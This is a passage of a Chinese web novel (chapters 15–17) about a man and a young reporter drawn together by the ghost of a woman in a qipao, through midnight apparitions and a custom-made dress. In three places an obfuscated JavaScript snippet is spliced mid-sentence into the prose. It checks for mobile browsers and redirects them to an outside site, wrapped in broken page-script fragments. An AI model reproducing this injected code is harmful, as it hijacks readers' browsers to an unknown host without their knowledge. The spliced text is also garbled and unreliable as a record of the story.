许修远闻言,笑了笑,他只是一时兴起,所以打算做一件这样的旗袍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942934|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 至于用处——他也没有想清楚。 “都可以,您看着做就可以。” “……” 这还是何老师傅这么多年来,第一次听说做衣服没给尺寸的,但他很识趣,点了点头,没有多问。 喝了口茶,许修远突然指着图册问道:“何爷爷,这本图本都是您亲自画的吗?” 何老师傅呵呵笑道:“不瞒你说,这本里面的大部分款式还都是我父亲手上留下来的,你刚才看上的这一件,是他当年早期设计的。” 许修远眸光一敛,想了想,又继续道:“何爷爷,我知道我太爷爷曾和您父亲是挚友,不知道您有没有听他说过,我太爷爷当年是否有过一位红颜知己或是——姨太太,也定做过这样一件旗袍的呢?” 何老师傅眉头微动,没想到许修远问了这许多,又看了这么多的旗袍样衣和设计图,甚至还特意定做了一件,原来是想打听旧事。 何老师傅微微眯眸,想了半晌,才摇了摇头,“没印象了,不过我家里有几本老相册,我回家翻翻看,说不定能找到相关的照片。” “麻烦您了!”许修远瞥了一眼茶几上的图册,“这件旗袍也要辛苦您了!” 两人正说着话,店里的助手突然敲响会客室的门,探头进来说了外面有人来访。 对何老师傅来说,许修远是贵客,于是便开口让助手先招待着。 助手有些为难地说道:“师傅,是那位张记者,说是来看看您,还带了朋友来做旗袍。” 许修远见状,便起身说先走了。 * 何老师傅将他送出了会客室,一眼就看到张熙杰和一个年轻女孩正站在衣架旁打量着那些展示出来的旗袍样衣。 听到动静,张熙杰转头看到了何老师傅,以及站在他身边的眼熟的男人。 他一愣,没想到居然又碰到许修远了,而且还是近距离,总算是看到他的正脸了。 颜珺瑶脸上的笑容在乍然见到许修远的一瞬间,蓦地凝住了,呼吸渐渐变得有些急促,心跳频率也骤然加快。 她怎么也不会想到,自己来一趟旗袍店居然还能和他碰上。 所以院子外面那辆豪车就是他的。 这倒霉的巧合! 许修远的视线轻飘飘地从张熙杰身上划过,最后定在了颜珺瑶的脸上,对上了她诧异的眼眸。 细看之下,那双水润的大眼睛里似乎还带着几分惊恐。 许修远心里好笑,自己有这么可怕吗?为什么她每次见到自己都——不太正常呢? 上次直接晕了,这次——貌似还好一点,至少目前没晕。 所以她也在怀疑他不是人,而是鬼?还是其他怪东西? 两人须臾之间的眼神交汇,旁人似乎没有察觉。 张熙杰很快又将视线重新汇聚在何老师傅的身上,笑着打招呼:“何师傅,好久不见!” “是熙杰啊,”何老师傅笑呵呵地看着张熙杰,又瞅了一眼站在她身旁的颜珺瑶,“这是你——朋友?” 张熙杰瞥了一眼身旁的人,蓦地愣了一下,这才发现颜珺瑶的神色怎么有些不对劲。 “对,我朋友,颜珺瑶。” 他轻轻拍了拍颜珺瑶的肩膀,“珺瑶,这位就是手艺了得的何老师傅。” 何老师傅笑呵呵地朝颜珺瑶点了点头,颜珺瑶这才回过神来,笑着喊了一声,何师傅。 令她感到意外的是,这个许修远居然开口了,而且还是叫她。 “颜小姐。” 张熙杰瞳孔瞬间变大,视线忍不住在颜珺瑶和许修远身上打了个来回。 这两个人居然认识?怎么会认识? 颜珺瑶只觉得自己的嘴角不禁抽了一下,心头一紧,放在身侧的手蓦地握紧了,但面上还是努力保持微笑。 “许先生!” 何老师傅也有点差异,“今天还真是巧啊,没想到你们也认识!” “嗯,见过——几次。” 许修远点了点头,“何爷爷,我先走了。” 15. 第 15 章 何老师傅送许修远出去了,张熙杰碰了碰颜珺瑶的胳膊,“你怎么会认识他的?” 上次在普陀寺她不是都没认出许修远来吗? 颜珺瑶真是一言难尽,咬了咬唇,深吸了一口气,含糊地解释:“就是上次同学会的时候,在同一家酒店碰上了,我大学学姐现在是他的秘书。” 张熙杰不疑有他,哦,怪不得。 这不巧了嘛不是! 没多会儿,何老师傅就回来了,将两人带到了会客室坐下。 张熙杰先关心了何老师傅最近的生意如何,何老师傅无不感慨地说道:“多亏了你们之前的报道,这两年我们店里的生意好了不少。” 简单寒暄之后,张熙杰说明了来意,“何师傅,我朋友想在您这儿定做一件旗袍。” “不知道颜小姐想要做什么样的旗袍,外面有样衣,这儿还有几本样图,你可以先瞧一瞧。” 何老师傅说着,就从一旁拿了两本新图册递了过去。 张熙杰刚要接过来,就听颜珺瑶突然说道:“谢谢何师傅,但我——自己画了一张图,不知道您这边——能不能帮忙做一件?” 何老师傅一听这话,笑了起来,“当然可以,颜小姐也是做服装这一行业的?” 张熙杰解释道:“不是,她是我同事,同一个电视台的。” 颜珺瑶从包里拿出那个文件夹,将里面的画纸拿了出来,递到了何老师傅面前。 “这是我自己画的,有些拙劣,不知道您——” 何老师傅接过,一看到画上的旗袍款式时,惊了下,怎么会这么巧? 许修远和颜珺瑶居然都想要定做同一件旗袍,而且还是在同一天找过来,虽然一个是靠口述,一个是自己画出来的。 这两人是怎么想到一块去的? 颜珺瑶见何老师傅一直看着自己的画,以为是有什么问题,有些忐忑地问道:“何师傅,是不是我画的不好,您不好做出来呢?” 何老师傅笑着道:“没有,你这画画功底还是不错的,可以做,可以做。 一会儿让小林给你量一下尺寸。” 颜珺瑶放了心,“谢谢您!” * 上车前,许修远瞥了一眼不远处停着的那辆白色轿车。 呵,真是意外啊! 他了解到了这家旗袍店,她居然也知道这里。 他来定做旗袍,她同样也是。 真有这么巧合吗? 她要找何老师傅定做什么样的旗袍?难道也是那件? 还有她那张脸。 他不相信这个世界上有这么多的巧合,这个颜珺瑶和旗袍女人一定有关系,否则为什么两人的长相会有六七分的相似呢? 但——就是没查出来。 颜珺瑶父亲那边,从她太爷爷到颜珺瑶这一辈,只有颜珺瑶一个女孩。按年代来推算,旗袍女人应该是她太奶奶或她太外婆那一辈的人。 就眼下查到的,颜珺瑶的太奶奶,太外婆,太姑奶奶或太姨奶奶等,除了早夭的,其余的虽然没有找到照片,但年纪都和旗袍女人对不上。 但旧时代很多家庭会有送养或抱养孩子的情况,特别是在乡下,要想全部查清楚,难度不小。 至于颜珺瑶母亲这边,颜珺瑶外婆的外祖父当年是本市的一个富商,因为经商不善再加上时局原因而破产,而她外公的父亲当年也是有名的大夫,所以查起来相对容易。所幸找到了她外婆母亲以及她外公母亲年轻时的照片,不过颜珺瑶和这两位几乎没什么相像的地方。 她的五官长相更随她父亲,但和她父亲也不是特别像。 目前来看,颜珺瑶似乎和旗袍女人没有血缘关系。 两个毫无血缘关系的人会出现长相相似的情况,这种可能性当然有,但绝对是小概率事件。 即使两人之间真的没有血缘关系,她们也必然有某种联系,否则他不会先后仅隔了几秒钟,分别见到了旗袍女人和颜珺瑶。 这是旗袍女人特意“安排”的,是她给出的隐晦提示,她要他去查。 眼下,他知道的几乎只有一点,那就是旗袍女人是太爷爷的姨太太,而且还不能肯定。 他特意问过母亲,母亲也表示曾经确实听说过,但老爷子否认了,她也就没再好奇,毕竟是几十年前的事情。 他可以肯定的是,颜珺瑶一定是人,旗袍女人必然是鬼,可他看到的颜珺瑶,就是真正的她吗? 这个世界上,存在不少稀奇古怪的事情,借尸还魂,或者是夺舍,等等,不一而足。 不过颜珺瑶的前二十几年似乎很少去医院,没有查到她出现过特别危急,出现濒临死亡的情况,所以她可能是后一种? * 从旗袍店离开,张熙杰开车送颜珺瑶回去。 颜珺瑶出神地坐在副驾驶座上,回想着刚才发生的一切。 她定做了一件不便宜的旗袍,而且还是梦里那个女人身上的旗袍。 她是疯了吗?为什么要定做这么一件旗袍? 即使要穿旗袍,也不能定做那一件,可她就是这么做了,情不自禁,不受控制的这么做了。 她的精神该不会是被人——不,被那个旗袍女人给控制了? 不仅如此,今晚又遇见了许修远。 庆幸的是,刚才没有出现第一次见面时的状况,至少没有那么难受,没有晕倒。 呵,刚才许修远跟何师傅怎么说来着,他和她见过几次。 他这是在提示她,东西还在他手上吗? 颜珺瑶兀自腹诽着许修远,就听到张熙杰似乎在跟她说话。 “嗯?什么——” “我说,你最近休息的时候是不是不经常回家?” “嗯,”颜珺瑶点了点头,看了一眼张熙杰,“我妈跟你说的?” 张熙杰笑了,“阿姨是关心你,以为你现在有了男朋友,不告诉她,所以就问我了。” 颜珺瑶嘀咕了一句,“我妈真是的。” “那你有吗?” “没有,就算有男朋友,跟回不回家也没关系呀!” “你有几次休息的时候都没回去住了,上次就回去吃了顿饭,阿姨大概是以为你去约会了。” “……” * 也许是张熙杰的话提醒了颜珺瑶,之后的几天,颜珺瑶一直在琢磨一件事。 要不要回家,再在自己的那个房间睡上一晚上,试试看到底还会不会看到许修远呢? 自从第二次在房间看到许修远之后,她就再没敢在自己的房间睡过。 在出租房的这段时间,这种诡异的情况一次都没发生过。 如果自己回家试了,并且真的能看到许修远,是不是就说明不仅她家房子有问题,而且这件事还远没有结束? 如果真是这样的话,那她就得赶紧去找汤爷爷帮忙了。 这周栏目组来了两个新人,周五下班之后,栏目组的人一起聚餐。 吃完饭之后,又转战下一场,去KTV唱歌。 张熙杰发现,自从进了包间之后,颜珺瑶似乎一直心不在焉,时不时就看手机。 他在大家的起哄下唱了一首歌之后,就坐到了颜珺瑶身边,问她是不是有什么事情。 颜珺瑶被他的声音吓了一跳,以为他还在唱歌呢。 她急忙熄了手机屏幕,“没,没事。” 这样的反应,没事才怪。 虽然屏幕黑的很快,但张熙杰还是无意中瞥到了一眼。 是微信。 对话框最上面联系人的名字是三个字,姓许的。 而对话框里不知道是红包还是转账。 这个“姓许的”,是谁呢?啊,该不会是——他吧? 许修远。 那天在旗袍店,许修远主动和珺瑶打招呼。 他以为这两人只是简单的认识,没想到已经加了微信,有了来往。 许修远那天那么主动,而珺瑶的反应却有些奇怪—— 难道是——他喜欢珺瑶? 张熙杰心头一跳,被自己的猜想惊到了。 他喝了口水润了润嗓子,看着颜珺瑶道:“你要不要去唱一首?” “嘻嘻,我唱歌走调的,你又不是不知道,我纯属来鼓掌的。你怎么不唱了?” 张熙杰的视线在她的脸上停留了好几秒,“你要是累了,我就先送你回家。” 颜珺瑶有些犹豫不决,既想要早点回家,但又有点害怕回去。 半晌,她还是摇了摇头,“没事,你去唱吧,等大家一起走吧!” 张熙杰给她拧开一瓶饮料,“你——是不是在等谁的电话或信息?” 颜珺瑶接饮料的手蓦地顿住,随即笑起来,“没有,你怎么跟我妈一样,还怀疑我偷偷地找了男朋友不告诉你们吗?” “走吧,我也要回去了,明天早起回老家看我爷爷。” 颜珺瑶眨了眨眼睛,跟着站起来,哦,那——那走吧! * 坐上副驾驶座,低头扣好安全带,颜珺瑶暗暗叹了口气。 要回家做试验了。 “我——我今晚回我爸妈那里。” “好。” 张熙杰偏头瞥了一眼颜珺瑶,“叔叔阿姨见到你回去,估计是又高兴,又失落。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942935|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”颜珺瑶不解,“为什么失落啊?” 张熙杰发动车子,“你回去了,他们肯定会问你男朋友的事情,知道没有,可不得失落嘛!” “哎——”颜珺瑶忍不住叹了口气,“我妈就是这样,之前还好,前段时间知道以晴要结婚了,我去当伴娘,她就开始着急了。我估计接下来她肯定要琢磨着给我安排相亲。” “那你——喜欢什么样的男生?”张熙杰目视前方问道。 颜珺瑶还真没想过这个问题,她歪着头想了片刻,摇头说道:“不知道,大概就是合眼缘,谈得来的吧! 我妈就是太着急了,我才大学毕业两年,这么着急干什么,而且就一定得结婚吗?嘿嘿!” 张熙杰轻笑一声,没再说什么。 * 回到家里,已经快十点了。 父母正在客厅边看电影边泡脚,看到颜珺瑶突然回来,很是惊喜。 钱艺文一高兴,连脚都不泡了,说话就要给她做夜宵。 颜珺瑶下意识就想拒绝,“不用了——” 但很快又改了主意,“好吧!” 今晚还不知道会发生什么事,还是吃饱一点,到时候有力气来应对。 饺子很快就上桌了。 餐厅里,钱艺文坐在一旁,笑呵呵地看着颜珺瑶,“现在你敢一个人睡自己的房间呢?” 颜珺瑶手上的动作一僵,不自然地说道:“妈,我本来不怕的,被你这么一说,我又想起之前做的噩梦了。” 钱艺文斜晲她一眼,“以前胆子可没这么小的,自己家怕什么,我们一家三口都住了快二十年了。” 颜珺瑶眼下嘴里的东西,呵呵地笑着,“妈,我开玩笑的,没怕,我之前是被自己的噩梦吓到了。” “哎,就是你这工作造成的,每天都到处跑,没个早晚的,而且有时候那些场面——” 颜志华这时候走了过来坐下,“最近还做噩梦吗?” “没有,睡得挺好的。”这是实话。 颜志华放心地点了点头,“看来之前的方子还是很管用的。” 钱艺文看向丈夫,“要不你明天再按那个方子给她抓几天的药,多喝几天,安安神?” 说完,就将视线转向了正在吃东西的闺女,担心她会不同意。 放在以往,颜珺瑶肯定是不想喝的,但这次出乎父母的意料之外,她点头答应了。 还是喝着吧,不知道为什么,她总觉得今晚肯定会发生点什么。 就算今晚什么事都没发生,自己最近确实费神,安安神总是好的。 夫妻俩看到闺女这次这么配合,对视了一眼。 颜志华问道:“瑶瑶,你最近工作压力大不大?有没有遇到什么不好的事情?” 颜珺瑶端起碗把饺子汤都给喝完了,钱艺文抽了张面巾纸递过去。 她一边擦嘴,一边说道:“没有,我挺好的,都挺好的,放心啊!” 洗完澡,进了房间。 关上门的那一刻,颜珺瑶的心里就开始忐忑不安。 这会儿已经快十一点了,要是她没记错的话,前两次都差不多是在十二点左右发生的。 哎,还有一个小时,可怎么熬呢? 刷电影,刷网剧,听小说,但她完全看不进去,也听不进去。 折腾了好一会儿,再一看手机,居然还有半小时。 颜珺瑶实在是没办法了,必须做点什么让自己转移注意力。 最后将目标瞄准了衣柜,把放在家里的秋天衣服换了一套又一套。 换了好一会儿,看着满床扔的乱七八糟的衣服,终于累了,没心思再换下去,又一件件地收回了衣柜里。 一切收拾妥当,颜珺瑶也不打算换回睡衣,就着身上一套秋季的休闲服,整个人瘫在了床上。 手机上显示,23点57分钟。 她侧着头,盯着门口的方向,一瞬不瞬地瞧着。 上一次,自己随手把水晶摆件扔过去了,然后就消失了,跑到了许修远那边。 如果—— 她瞅了一眼床头柜上的空调遥控器,如果这一次,自己把这个扔过去,还会跑到那边吗? 更或者—— 她腾地从床上坐了起来,如果自己走过去,难道真的会像动画片中的任意门那样,可以瞬间移动到他那边吗? 蓦地,颜珺瑶浑身一颤,她被自己的想法吓到了。 用力地揉了揉脸,稍稍冷静之后,还是走到了靠门的床头柜旁,拿起了空调遥控器。 时间差不多了。 就在这时,她莫名感觉门口似乎有什么动静。 16. 第 16 章 周五傍晚,许修远又回了老宅。 自从上次被爷爷“赶”走之后,他就没再回来过,已经有一段时间没有回来过了。这期间宗叔也没有给他打过电话让他回去,所以爷爷目前还是不想让他回来。 父亲车祸离世之后,因为三楼房间的玻璃突然出现裂痕,爷爷就请过赵先生,而且丝毫不顾及自己的身体。上次在他进了三楼的房间之后,爷爷又把赵先生请了过来,而且赵先生在老宅一连待了三天,每天都去那个房间。 难道爷爷是怀疑父亲的车祸和那个房间有关?或者说——和那个旗袍女人有关? 看来今天估计不好留下来过夜。 下了车,进了客厅,许忠林见到许修远回来,第一反应很是高兴,立马就吩咐家里的阿姨再准备几个许修远喜欢的菜。 可一听说许修远要留下来过夜,许忠林瞬间就拉长了脸,不同意他留下来,一定要让他离开。 许修远无奈地叹气,“爷爷,怎么自己家还不让我住了?你放心,我不会再上去了。就算我还想偷偷上去,你们肯定也换锁了不是?再说了,我再进那里看什么呢?之前都看过了,也没什么值得好奇的了,一间过时的旧房间而已,你说对不对,宗叔?” 一旁的老管家笑起来,对许忠林说道:“先生,小远想在家里过夜,肯定是打算多在家里陪您几天,这是孝心呢!” 许忠林面色有了松动,没再出言让许修远离开,这算是答应了。 晚饭后,许修远陪着许忠林在后院里喝茶。 天渐渐地暗了下去。 就在宗叔扶着许忠林准备回屋的时候,许忠林的手机响了。 他点开一眼,发现居然是颜珺瑶发来的信息。 她又给他转账了,还是上一次的医药费。 这已经是颜珺瑶第四次给他转账了。 每一次其实他都看到了,但都没有收下,也没有任何回复。 他在等,等着颜珺瑶主动联系他要回那个水晶摆件,主动“说说”那两个晚上的事情。 前面两次转账,颜珺瑶都会留言,说一句谢谢。 但这一次,她的留言变了,不再是谢谢,大概是耐心有些耗尽,留言变成了:许先生,请问你看到我的信息了吗? 许忠林走在前面,忍不住回头看了一眼许修远,发现他正噙着笑意,低头看手机。 “是不是谈女朋友了?” 许修远上前,扶住爷爷的另一边胳膊,笑道:“没有,是助理发来的。” 许忠林一听,不满地撇开他的手,“不用你扶。” 随即转头跟宗叔抱怨,其实也是故意说给许修远听的。 “这一天天忙的,连个女朋友都没有,什么年纪了,我在他这么大的时候都有——” 说到这里,许忠林蓦地顿住,许久之后,只有一声长长的叹息,没再说下去了。 宗叔知道老爷子应该是想到了还未成年就离世的大儿子,赶紧转移话题,笑着说道:“这事急不得,得看缘分不是,说不定缘分来了,哪一天小远就给您带回来一个孙媳妇——” * 十一点五十五分,许修远掀开被子下了床,仔细听了听外面的动静,嗯,应该是都睡了。 他知道,自己在晚饭时和爷爷说的话,他肯定会相信的。 打开衣柜,翻到奶奶亲手做的那件大衣,从口袋又摸出了一把钥匙。 一把和上次被宗叔拿走的那把一模一样的钥匙。 他庆幸小时候的自己懂得防患于未然,就是担心如果哪一次溜进那个房间被宗叔或爷爷发现,那手上的钥匙肯定是保不住的,所以他才多了个心眼,选择配了两把,即使被没收了一把,还能留一把,以后还有机会偷偷进去。 结果小时候并没有被发现,要是更没有被没收过。当时所担心的事情,发现在了二十八岁,而他的有备无患,让他有机会再进去。 今晚他还要再上去一次,那个房间里一定还有什么线索。 许修远再次悄声地离开了房间,上了楼。 这一次,他没敢再开灯,他很庆幸今晚的月色很清亮,上楼的楼梯被照的分明,足以让他看清。 不一会儿,他来到了三楼走廊尽头的房间门口。 从睡衣口袋里掏出了一把十分袖珍的手电筒,打开,雪白的光线照在门锁上。 果然是没换。 这幢老宅在他出生之后翻修过一次,在此之前肯定也有过大大小小的修整。 每个房间的锁都换过,就唯独这个房间还保留了民国年代,最开始的样子。 因此他猜测,爷爷一定是在忌讳什么,这么多年都没有动过这个房间,这一次也不太可能会因为他的擅自进入而突然换锁。 钥匙插入锁孔,轻轻转动,就听到清晰的“咔哒”一声,房间再次打开了。 许修远一瞬屏住呼吸,转动门把手往里推开了门,眼前又是那个熟悉的身影。 那个穿旗袍的妩媚女人侧身站在离门口几步远的地方,含情脉脉地回头看他,温温柔柔地喊了一声,“君平。” 就在他眨眼的一瞬间,旗袍女人蓦地消失,取而代之的是身着一套长袖休闲服的颜珺瑶正站在床边。 仍然是之前看到的那个现代化装修的房间。 颜珺瑶似乎正从床头柜上拿起了什么,在看到他的一刻,她仍然是条件反射地叫了一声,与此同时后退了一步,身子撞到了床沿。 但这一次明显的短促,并且许修远能明显感觉出来,她在拼命地控制住自己的音量。 一双黑眸中尽是说不清道不明的复杂。 许修远眉心紧蹙,定定地和她对视,他几乎无法控制自己的面部肌肉,低声开口,“颜小姐。” 颜珺瑶下意识地握紧了手上的东西,许修远瞥了一眼,发现她手上的好像是空调遥控器,就在他担心颜珺瑶这一次会不会把手上的东西砸向他的时候。 令他意外的事情发生了,颜珺瑶咽了咽口水,居然开口说话。 “许先生。” 语声发颤,她在极力克制自己的恐惧。 许修远觉得自己真的是高估了自己,在这样荒唐,不可思议的情境下,他顷刻间不知道该说什么,做什么。 也完全忘记了自己今晚上来的目的是什么。 是为了再次确认能不能在这个房间发生前两次类似的情况吗? 还是为了进这个房间,看看能不能找到和那个姓顾的旗袍女人有关的线索呢? 就在两人面面相觑的瞬间,蓦地,眼前的一切就在交睫之间消失不见了。 * 颜珺瑶的脑子里全是心脏狂跳的咚咚声,直接软在了床边,半晌,她才缓了过来,就听到妈妈正在门口敲门,并且焦急地叫她的名字。 她站起身,一开门便看到母妈妈一张满是担忧的脸。 “是不是又做噩梦了?是不是——” 她咽了咽口水,这才意识到,应该是自己刚才条件反射的叫声被妈妈听到了。 她勉强地挤出笑容,嘴唇微微颤抖,“妈,我——我没事了,是不是吵醒你了?” “爸,你也被我吵醒了——” 颜志华快步走了进来,手上拿着一串钥匙。 钱艺文对颜珺瑶说道:“你刚才不开门,我又叫不醒你,所以我让你爸去拿备用钥匙了。” 颜志华看到闺女好好地坐在床边,先是长长地舒了口气,只是她这脸色—— “是不是又做噩梦了?” 颜珺瑶摇了摇头,而后又点了点头,“没事了,刚——刚才是——是有点被吓到了。” 钱艺文心疼地搂住她,摸着她的头发安抚道:“没事了,没事了。” 颜珺瑶呵呵地笑了笑,“我没事了,你们也回去睡觉吧!” 她不想让爸妈在她这个诡异的房间多待。 钱艺文不放心,“要不今晚我在这儿陪你睡吧!” 颜珺瑶忙说不用,并且跟他们保证自己已经没事了,也不会再偷偷地跑到客厅去睡。 颜志华和钱艺文见闺女这么说,才放了心,正准备离开房间的时候,钱艺文突然说道:“你今天怎么穿着这套衣服睡觉,长袖长裤,怪热的,赶紧换上睡衣。” 颜珺瑶神色一变,这才注意到自己身上还穿着秋季的休闲服,哦了一声,又催爸妈回去休息。 房间里很快又只剩下她一个人,害怕是无可避免的。 今晚所发生的事情毫不留情地给了她一个重击,那就是之前经历的一切还没有结束,还在继续,还会继续。 并且,她现在更进一步肯定自己的这个房间肯定是有问题的,否则为什么只发生在这个房间,而在出租房那边却都没有发生过呢? 她不敢一个人在这里睡,但她更不敢让父母陪她留在这个房间,她决不能把父母牵扯进来。 倏地,手机响了一声。 颜珺瑶现在是惊弓之鸟,直接吓了一跳,拿起来一看,是许修远发来的微信。 点开,只有三个字。 看到了。 许修远的这三个字,可真是一语双关啊! 不仅是回复自己晚上给他发的微信,而且估计还是在暗示,刚才他确实看见了她,并且她也看到他。 这件事情,她没有办法再装傻了。 再恐惧,都得面对了,自己必须要和他见面聊上一聊了。 * 眼前的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942936|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切消失不见,许修远怔怔地看着房间里的一切,深吸了一口气,拿出手机,给颜珺瑶回复了微信。 回头看了眼身后,没有任何动静,他这才放心地走进了房间。 打开卧室的顶灯,暖黄色的灯光多少驱散了心头的一丝惧意。 许修远翻看了抽屉,里面是一些旧时女子会用到的小东西,他还找到了几本书,但上面没有名字。 眼前蓦地闪过了那件旗袍,于是快步走到衣柜前,顿了顿,伸手打开了柜门。 里面确实挂着不少的衣服,一年四季都有,大部分是旗袍和大衣,做工十分精良。 而这么多旗袍里,没有那个女人身上的那件。 将所有东西都放回原位好,许修远回到了房间。 他有几分失落,今晚几乎又是一无所获。 而手机,也一直没有动静。 颜珺瑶没有回复。 * 翌日周六不上班,钱艺文比平时晚了半个小时才起床。 刚走出卧室,就看到客厅的沙发上窝着一个人,身上盖着薄毯,脸埋在毯子里,只有一头黑发垂在一旁。 乍一看,真是吓了一跳,随即无奈地摇头。 哎,这丫头! 钱艺文随即放轻了脚步,转身回屋里嘱咐丈夫起床动静轻点,不要吵醒了闺女。 昨晚上,颜珺瑶在爸妈离开她的房间之后,等了有大半个小时,猜测爸妈应该都重新睡着了,便抱着被子和毯子,蹑手蹑脚地溜到了客厅,选择在沙发上睡一晚上。 她是被电话吵醒的,江成打电话给她,通知她立即赶到市郊,有一位低保户自杀了。 颜珺瑶一下子从沙发上蹦了起来,迅速洗漱过后,根本来不及吃早饭,拿了爸爸的车钥匙就直奔市郊。 这位低保户老人独居,妻子早年因病去世,仅有的一个女儿在十几年前,家里条件尚可的时候偷偷拿了父母所有的积蓄,去了外市投奔当时的男朋友,之后就再也没有回过家。就因为没了积蓄,其母才没钱治疗而病逝,女儿也不闻不问,对年迈的老父亲也从不上心,老人家现在就靠着一亩地和低保户的补贴养活自己。 就在今天早上五点多的时候,老人家随手扔了一个烟头,导致临近的好几亩地的麦苗,包括他自己的那一亩地,都被烧毁。 事情发生后,因为无辜受灾的同乡说话不太客气,老人家大概是想到自己往后的日子,不仅没了生活来源,还要节衣缩食地赔偿,于是一时想不开,趁人不备直接喝了农药,抢救无效死亡。 三个乡邻没想到老人家会自杀,又惊又恨,老头这么一死,他们都不知道能到哪里去要赔偿。 而老人家的女儿听说老父亲自杀的消息,在电话里听不出有丝毫伤心,一开始甚至都不愿意回来,迅速撇清她与老父亲的关系,不想承担老人家的债务。在多方的交涉下,老人家的女儿才同意立即赶回来办理。因为她得知家里的老房子,那块地以及一些零零碎碎的东西等还是值些钱,她不想这些东西都被用来赔偿,极力争取。 江成带着颜珺瑶与一个实习生,还有摄像等,待到了将近五点才回到市里。 在车里,实习生一阵唏嘘,讨伐着老人家女儿的不孝与恋爱脑。颜珺瑶很沉默,江成看了她一眼,说道:“有阴必有阳,有反就有正。” 当了两年的记者,见了不少让人唏嘘不已或拳头发硬的事情,颜珺瑶觉得自己现在面对这种情况,应该会越来越冷静,但她发现,自己还是太高估了自己。 人的情感,比想象中更加可怕。 * 回到单位加完班,颜珺瑶给爸妈打了个电话说明了情况,于是就回了出租房。 钱艺文在挂电话前叮嘱她第二天要回家拿药,她答应了。 洗完澡,躺到床上,颜珺瑶只觉得自己的脑子已经累得无法转动。 拿起手机,习惯性地打开微信,第一眼就注意到了和许修远的聊天框。 点开,聊天记录还停留在昨晚许修远给她发的那三个字,而转账的钱,他依旧没收。 良久,颜珺瑶做出了决定,发送了一条信息。 【许先生,不知你明天下午是否有空? 如果方便的话,想约你见个面,当面感谢你。】 消息发送出去,原以为会等上许久,也许是好几天才能有回复,她甚至都做好了心理准备,但没想到手机刚放下不到半分钟的时间,对方就回了过来。 【可以,时间地点由你来定。】 颜珺瑶想了想,发了一个餐厅的地址以及时间,并询问他的意见。 最后她加了一句话。 【麻烦许先生记得带上那件东西。】 【嗯。】 17. 第 17 章 大概是昨天晚上没怎么睡好,今天又忙了一天,发完微信之后,颜珺瑶倒头就睡,几乎是一觉到天亮。 睡得好,自然精神就好,但只要一想到接下来的见面,她心里就忍不住忐忑。 下午三点多,颜珺瑶打车去了西餐厅,一走进就看到许修远比她先到了。 她看了一眼时间,嗯,自己没有迟到。 在许修远的对面坐下,颜珺瑶心里五味杂陈。 不知道自己那样的经历要是说出去,会有人信吗? 大概是没有的吧! 颜珺瑶开门见山,把水晶摆件底座刻着的名字和时间说了一遍,以此来向许修远证明,那个摆件是她的。 许修远十分认真地听她讲完,随后点了点头,淡淡开口道:“我相信是你的。” 其实她不用这样向他证明,他也完全相信东西就是她的,因为东西就是她朝他扔过来的。 咖啡端上来了,浓郁的醇香稍稍地缓解了颜珺瑶的紧张。 她端起来抿了一小口,“谢谢。” 许修远看着颜珺瑶,只见她微垂着眼眸,似乎不敢看他。 “颜小姐,其实在酒店大厅见面之前,我们已经算是见过——两次。” 颜珺瑶眸光一闪,端起面前的咖啡又喝了一口,却差点被呛到。 她忙放下杯子,偏头捂着嘴轻咳了两声,而后迅速抬眸看了对面的男人一眼,声音带着一丝颤意:“不可思议的见面——” 许修远无奈地笑了,“那个摆件,是第三个晚上我在地上捡到的。” 颜珺瑶蹙眉,所以是第二个晚上她扔出去的东西,次日晚上才出现在他家里?并没有所谓的“任意门”,是因为存在非自然的力量? “摆件翅膀的部位有些摔坏了,前几天我送去修补了,今天应该就可以取。” 颜珺瑶松了一口气,“谢谢许先生。” “颜小姐,你有没有想过,我和你之间——为什么会有这样的经历?” 颜珺瑶看向许修远,摇头,“我不知道,老实说,事情发生后我很害怕。” 许修远顿了下,又道:“冒昧问一下,你在这件事之前有碰到过什么奇怪的事情吗?” 颜珺瑶此前也认真地想过这个问题,她确实碰到过也发生了不好解释的事情。 之前的反复发烧,再往前就是目睹许耀中的车祸,看到了那个只有她注意到的小女孩,还有—— 梦里的那个女人。 难道这一切是有联系的? 可貌似找不到什么钩子可以把这些事情串起来。 “我——”颜珺瑶看向许修远,欲言又止。 许修远作为受害者的家属,肯定是看过车祸现场的监控视频以及车里的行车记录仪,她想问问许耀中当时停车的原因。可转念一想,车祸刚过去没多久,她就这样提及对方的伤心事,像是为了满足自己的好奇心就去揭别人未愈的伤疤,是不是有点道德了? 许修远见她这幅样子,就大致有了答案,颜珺瑶应该是发生了一些奇怪的事情,但现在可能出于某些顾虑——比如,不信任他——所以不想说。 他耐心地等着。 却见颜珺瑶只是叹了口气,摇摇头,“没什么,就是——身体有些不舒服。” * 